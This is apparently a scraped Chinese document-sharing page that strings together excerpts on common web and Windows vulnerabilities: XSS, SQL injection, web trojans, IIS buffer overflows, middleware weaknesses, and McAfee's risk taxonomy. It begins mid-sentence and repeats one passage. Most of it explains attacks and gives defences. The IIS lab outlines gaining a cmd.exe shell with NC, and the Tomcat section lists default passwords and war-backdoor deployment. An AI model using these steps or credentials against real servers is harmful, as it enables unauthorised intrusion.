账户列表及其它任何可为攻击者提供有利信息、能帮助他们攻击企业网络的内容。 四、跨站点脚本攻击 XSS 跨站漏洞以及钓鱼式攻击 XSS,中文名称为跨站脚本,是一种很常见的脚本漏洞。因为跨站脚本攻击不能直接对系统进行攻击,所以往往被人们忽视。 由于WEB应用程序没有对用户的输入进行严格的过滤和转换,就导致在返回页面中可能嵌入恶意代码。远程攻击者可以利用这些漏洞在用户浏览器会话中执行任意HTML和脚本代码。跨站脚本执行漏洞的攻击效果需要借助第三方网站来显现,此这种攻击能在一定程度上隐藏身份。 由于跨站脚本不能直接对系统进行攻击,所以跨站脚本总是伴随社会工程学来 实现攻击的,这种攻击的主要表现形式是钓鱼式攻击。钓鱼式攻击方式有很多,如获取Cookie, 伪造页面,屏蔽页面特定信息,与其它漏洞结合攻击操作系统等等。钓鱼式攻击是针对人脑的攻击方式,它的传播手段有EMAIL、IM、聊天室、恶意连接、游戏中的聊天系统,凡是能实现用户之间互动操作的系统都存在钓鱼式攻击的风险。 在电子商务蓬勃发展的今天,针对个人财务信息的钓鱼攻击事件数量成直线上升,其中一个主要攻击途径就是跨站脚本执行漏洞。据统计,国内外存在跨站脚本漏洞的网站多达60%, 其中包括许多大型知名网站。 这是一种常见的攻击,当攻击脚本被嵌入企业的Web页面或其它可以访问的Web 资源中,没有保护能力的台式机访问这个页面或资源时,脚本就会被启动,这种攻击可以影响企业内成百上千员工的终端电脑。 网站开发者角度,如何防护XSS攻击? 对XSS最佳的防护应该结合以下两种方法:验证所有输入数据,有效检 测攻击;对所有输出数据进行适当的编码,以防止任何已成功注入的脚本在浏览器端运行。 网站用户角度,如何防护XSS攻击? 当你打开一封Email或附件、浏览论坛帖子时,可能恶意脚本会自动执行,因此,在做这些操作时一定要特别谨慎。建议在浏览器设置中关闭

网站常见的三种漏洞攻击介绍

网站常见的三种漏洞攻击介绍 国内外黑客组织或者个人为牟取利益窃取和篡改网络信息,已成为不争的事实,在不断给单位和个人造成经济损失的同时,我们也应该注意到这些威胁大多是基于Web网站发起的攻击,在给我们造成不可挽回的损失前,我们有必要给大家介绍几种常见的网站漏洞,以及这些漏洞的防范方法,目的是帮助广大网站管理者理清安全防范思绪,找到当前的防范重点,最大程度地避免或减少威胁带来的损失。 1.SQL语句漏洞 也就是SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB 表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。 有效防范手段:对于SQL注入问题的一般处理方法是账户最小权限原则。以下几种方法推荐使用: 对用户输入信息进行必要检查; 对一些特殊字符进行转换或者过滤; 使用强数据类型; 限制用户输入的长度; 需要注意:这些检查要放在server运行,client提交的任何东西都是不可信的。使用存储过程,如果一定要使用SQL语句,那么请用标准的方式组建SQL语句。比如可以利用parameters对象,避免用字符串直接拼SQL命令。当SQL运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节。 2.网站挂马 挂马就是在别人电脑里面(或是网站服务器)里植入木马程序,以盗取一些信息或者控制被挂马的电脑做一些不法的勾当(如攻击网站,传播病毒,删除资料等)。网页挂马就是在网页的源代码中加入一些代码,利用漏洞实现自动下载木马到机器里。网站挂马的形式可分为框架挂马、数据库挂马、后台挂马、服务器挂马以及其他形式的挂马方式。 有效防范手段:要防止网站被挂马,可以采取禁止写入和目录禁止执行的功能,这两项功能相组合,就可以有效地防止ASP木马。此外,网站管理员通过FTP上传某些数据,维护网页时,尽量不安装asp 的上传程序。这对于常被ASP木马影响的网站来说,会有一些帮助。当然是用专业的查杀木马工具也是不错的防护措施。 需要注意:管理员权限的用户名和密码要有一定复杂性,并只允许信任的人使用上传程序。 3.XSS跨站攻击

Windows 漏洞攻击

一.Windows 漏洞攻击 实验1.(MS01-033)Windows IIS ida idq漏洞 https://www.sodocs.net/doc/de12513306.html,/technet/security/bulletin/MS01-033.mspx https://www.sodocs.net/doc/de12513306.html,/bid/2880/info https://www.sodocs.net/doc/de12513306.html,/vulndb/1528 漏洞描述:IIS的index server .ida/.idq ISAPI扩展存在远程缓冲溢出漏洞 威胁程度:远程管理员权限;错误类型:输入验证错误;利用方式:服务器模式;受影响系统:IIS4.0 —Windows NT 4.0 sp1-sp6a系列 IIS5.0 —windows 2000 sp1-sp2系列 详细描述:微软的index Server可以加快Web的搜索能力,提供对管理员脚本和Internet数据的查询,默认支持管理脚本.ida和查询脚本.idq,不过都是使用idq.dll 来进行解析的。但是存在一个缓冲溢出,其中问题存在于idq.dll扩展程序上,由于没有对用户提交的输入参数进行边界检查,可以导致远程攻击者利用溢出获得System权限来访问远程系统。 第1步使用Sfind确定IDQ漏洞

第2步我们用命令行来实验

第3步现在用NC进行连接,可以得到一个CMD.exe 的接口

实验2.IIS .printer 漏洞(MS01-023) 一、ms01-023漏洞公告 受影响的系统: 漏洞只存在运行IIS5.0的WIN2K服务器 Microsoft Windows 2000 Server Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server 微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer 的URL请求时,IIS5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。 注意:这个漏洞非常危险,因为它仅仅需要WIN2000打开80端口(http)或者443端口(https),微软公司强烈要求在未打补丁之前一定要移除ISAPI网络打印的映射。 二、IIS ISAPI Printer远程溢出相关问答 1、漏洞的活动范围是什么? 这是一个缓存溢出漏洞,这漏洞比以往的普通溢出存在更大的危害,主要有两方面的原因: *在缺省安全的情况下,该漏洞可以被来自网络的入侵者利用。 *入侵者可以完全获得和控制存在该漏洞的网站服务器。 入侵者一旦溢出成功,他可以做他想做的一些事情,包括:安装和运行程序,重新配置服务,增加、改变或者删除文件和网页的内容等等。 这是一个非常危险的漏洞,微软件公司忠告所有的IIS5网站系统管理员立即安装补丁,IIS4的系统不存在这个漏洞。 2、漏洞的起因是什么? WIN2K在网络打印ISAPI扩展上缺少足够的缓冲区检查,当一个入侵者发出特殊的请求服务时产生缓存溢出,可以让入侵者在本地系统执行任意代码。 3、什么是ISAPI扩展? ISAPI (Internet Services Application Programming Interface)因特网服务应用编程界面是一种能够使网络开发商通过编写能为网络服务器提供新的服务的自定义命令码来扩展网络服务器功能的一种技术。 该自定义命令码既能在ISAPI过滤器中完成(当新的功能所提供一种较低水平的服务时);也能在ISAPI扩展项中完成(当新的功能提供一种较高水平服务时)。现在,被溢出的代码就是这ISAPI扩展。 4、ISAPI扩展的问题是什么?

常见基础漏洞(三)

常见基础漏洞(三) 常见web类漏洞 1、WEB中间件 (1)Tomcat Tomcat是Apache Jakarta软件组织的一个子项目,Tomcat是一个JSP/Servlet容器,它是在SUN公司的JSWDK(Java Server Web Development Kit)基础上发展起来的一个JSP和Servlet规范的标准实现,使用Tomcat可以体验JSP和Servlet的最新规范。 端口号:8080 攻击方法: *默认口令、弱口令,爆破,tomcat5 默认有两个角色:tomcat和role1。其中账号both、tomcat、role1的默认密码都是tomcat。弱口令一般存在5以下的版本中。 *在管理后台部署war 后门文件 *远程代码执行漏洞 (2)Jboss

是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE 的一个Web 操作系统(operating system for web),它体现了J2EE 规范中最新的技术。 端口:8080 攻击方法: *弱口令,爆破 *管理后台部署war 后门 *反序列化 *远程代码执行 (3)WebLogic WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 端口:7001,7002 攻击方法:

常见安全漏洞的处理及解决方法

相关名词解释、危害与整改建议 1、网站暗链 名词解释 “暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高PR值。但要注意一点PR值是对单独页面,而不是整个网站。 危害: 网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。可被插入暗链的网页也意味着能被篡改页面内容。 整改建议: 加强网站程序安全检测,及时修补网站漏洞; 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入。 2、网页挂马 名词解释 网页挂马是通过在网页中嵌入恶意程序或链接,致使用户计算机在访问该页面时触发执行恶意脚本,从而在不知情的情况下跳转至“放马站点”(指存放恶意程序的网络地址,可以为域名,也可以直接使用IP 地址),下载并执行恶意程序。 危害: 利用IE浏览器漏洞,让IE在后台自动下载黑客放置在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的。 整改建议: 加强网站程序安全检测,及时修补网站漏洞; 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入。

安全漏洞

在迈克菲实验室(McAfee Labs) 的威胁警告中,漏洞这个字眼几乎随处可见。无论是发现了一个“漏洞”,还是在某些版本中存在“漏洞”,这样的描述都司空见惯。那么,究竟什么是“漏洞”?漏洞是一种在某些情况下会导致程序错误运行的程序错误(bug)。攻击者常常会利用漏洞来滥用程序实施破坏。 如果把系统比作成一个建筑物,那么在这个建筑物中,操作系统(OS)是基础结构,为系统提供支持,为建筑物提供支撑作用。应用程序则是建筑物中的房间,或者是房间中的各种设施,都是在建筑搭建好的基础架构上实现的,系统用户是建筑物里的住户。门和窗是建筑物里各个房间之间的交互通道,它们是早就设定好的,而漏洞,则是一些本不该存在的门、窗户,或者是墙上莫名出现的一个洞,更有可能是一些会破坏建筑物的危险材料或物品——这些缺陷和问题会使陌生人侵入建筑物,或者使建筑物遭遇安全威胁。这就是漏洞,对于系统来说,若出于安全的考虑,就必须最大限度的减少漏洞的存在,因为它会成为入侵者侵入系统和恶意软件植入的入口,影响我们系统用户的切身利益。 每一个漏洞都是不尽相同的,但根据其入侵方式的不同,可以将它们分为本地漏洞和远程漏洞。 本地漏洞: 本地漏洞需要入侵者利用自己已有的或窃取来的身份,以物理方式访问机器和硬件。在我们的类比中,入侵者要么必须是建筑物中的住户,要么必须假冒成建筑物中的住户。 远程漏洞: 相比本地漏洞,远程漏洞则不需要入侵者出现。攻击者只需要向系统发送恶意文件或者恶意数据包就能实现入侵。这就是远程漏洞比本地漏洞更危险的原因。 将漏洞按照风险级别对其分类,又可分为高风险漏洞、中等风险漏洞或低风险漏洞。风险级别在很大程度上取决于每个人所采用的标准,迈克菲定义风险是为了让客户清楚地预知未来将会发生什么,能提高警惕。 高风险漏洞: ?远程代码执行(RCE) :攻击者能够充分利用这一风险最高的漏洞来完全控制易受攻击的系统。由于这种漏洞使恶意软件能够在用户尚未得到警告的情况下运行,一些最危险的恶意软件便常常需要利用这种漏洞来发起攻击。若出现针对某一漏洞,系统商提供了安全补丁,这通常意味着这个漏洞就属于高风险漏洞,用户最好不要忽视任何相关警告。 ?拒绝服务(DoS):作为另一种高风险漏洞,DoS会导致易受攻击的程序(甚至硬件)冻结或崩溃。Anonymous Group 就是利用DoS漏洞发起攻击的。如果遭到攻击的结构是路由器、服务器或任何其他网络基础设施,不难想象局面的混乱程度。DoS漏洞的严重性视被隔离的房间而定。比如和储藏室比起来, 浴室或者客厅要重要得多。 中等风险漏洞:

关于漏洞的基本知识

如果把系统比作成一个建筑物,那么在这个建筑物中,操作系统(OS)是基础结构,为系统提供支持,为建筑物提供支撑作用。应用程序则是建筑物中的房间,或者是房间中的各种设施,都是在建筑搭建好的基础架构上实现的,系统用户是建筑物里的住户。门和窗是建筑物里各个房间之间的交互通道,它们是早就设定好的,而漏洞,则是一些本不该存在的门、窗户,或者是墙上莫名出现的一个洞,更有可能是一些会破坏建筑物的危险材料或物品――这些缺陷和问题会使陌生人侵入建筑物,或者使建筑物遭遇安全威胁。这就是漏洞,对于系统来说,若出于安全的考虑,就必须最大限度的减少漏洞的存在,因为它会成为入侵者侵入系统和恶意软件植入的入口,影响我们系统用户的切身利益。 每一个漏洞都是不尽相同的,但根据其入侵方式的不同,可以将它们分为本地漏洞和远程漏洞。 本地漏洞: 本地漏洞需要入侵者利用自己已有的或窃取来的身份,以物理方式访问机器和硬件。在我们的类比中,入侵者要么必须是建筑物中的住户,要么必须假冒成建筑物中的住户。 远程漏洞: 相比本地漏洞,远程漏洞则不需要入侵者出现。攻击者只需要向系统发送恶意文件或者恶意数据包就能实现入侵。这就是远程漏洞比本地漏洞更危险的原因。 将漏洞按照风险级别对其分类,又可分为高风险漏洞、中等风险漏洞或低风险漏洞。风险级别在很大程度上取决于每个人所采用的标准,迈克菲定义风险是为了让客户清楚地预知未来将会发生什么,能提高警惕。 高风险漏洞: 远程代码执行(RCE):攻击者能够充分利用这一风险最高的漏洞来完全控制易受攻击的系统。由于这种漏洞使恶意软件能够在用户尚未得到警告的情况下运行,一些最危险的恶意软件便常常需要利用这种漏洞来发起攻击。若出现针对某一漏洞,系统商提供了安全补丁,这通常意味着这个漏洞就属于高风险漏洞,用户最好不要忽视任何相关警告。 拒绝服务(DoS):作为另一种高风险漏洞,DoS会导致易受攻击的程序(甚至硬件)冻结或崩溃。Anonymous Group 就是利用DoS漏洞发起攻击的。如果遭到攻击的结构是路由器、服务器或任何其他网络基础设施,不难想象局面的混乱程度。DoS漏洞的严重性视被隔离的房间而定。比如和储藏室比起来, 浴室或者客厅要重要得多。 中等风险漏洞: 这些漏洞就像“兄弟姐妹”,虽然非常相似,但在具体情况上存在细微差别。中等风险包括权限提升(Privilege Escalation)这对“双胞胎”和它们被称为安全旁路(Security Bypass)的“兄弟”。 权限提升(PE):该漏洞使攻击者通常能够在未获得合法用户权限的情况下执行操作。它们之所以被称为“双胞胎”,是因为可以分为两类:水平 PE 和垂直PE。水平PE 使攻击者能够获得其他同级别用户所拥有的权限,这类漏洞最常见的攻击出现在论坛。攻击者可以从一个用户账户“跳到”另一个,浏览和修改信息或帖子,但通常只拥有同级别权限。而垂直PE 则为攻击者提供了更多实际用户希望享有的权限。例如,攻击者从本地用户“跳升”至管理员。从而使攻击者能够部分或完全进入系统中某些受限制区域,进而实施破坏。 安全旁路(SB):广义而言,安全旁路与PE 一样,是指攻击者未经许可就可以执行操作。区别在于,旁路之在连入互联网的系统环境中生效。如果程序有安全旁路漏洞,会使不安全的流量能够逃过检测。 中等风险漏洞本身并不太危险,如果系统得到妥善保护,不会造成灾难性的后果。真正的危险在于权限提升和安全旁路产生的连锁反应。如攻击者以普通用户或来宾身份进入,躲过安全措施,然后安装或更改程序,从而会造成大量破坏。相比远程代码执行,虽然攻击者很难

相关主题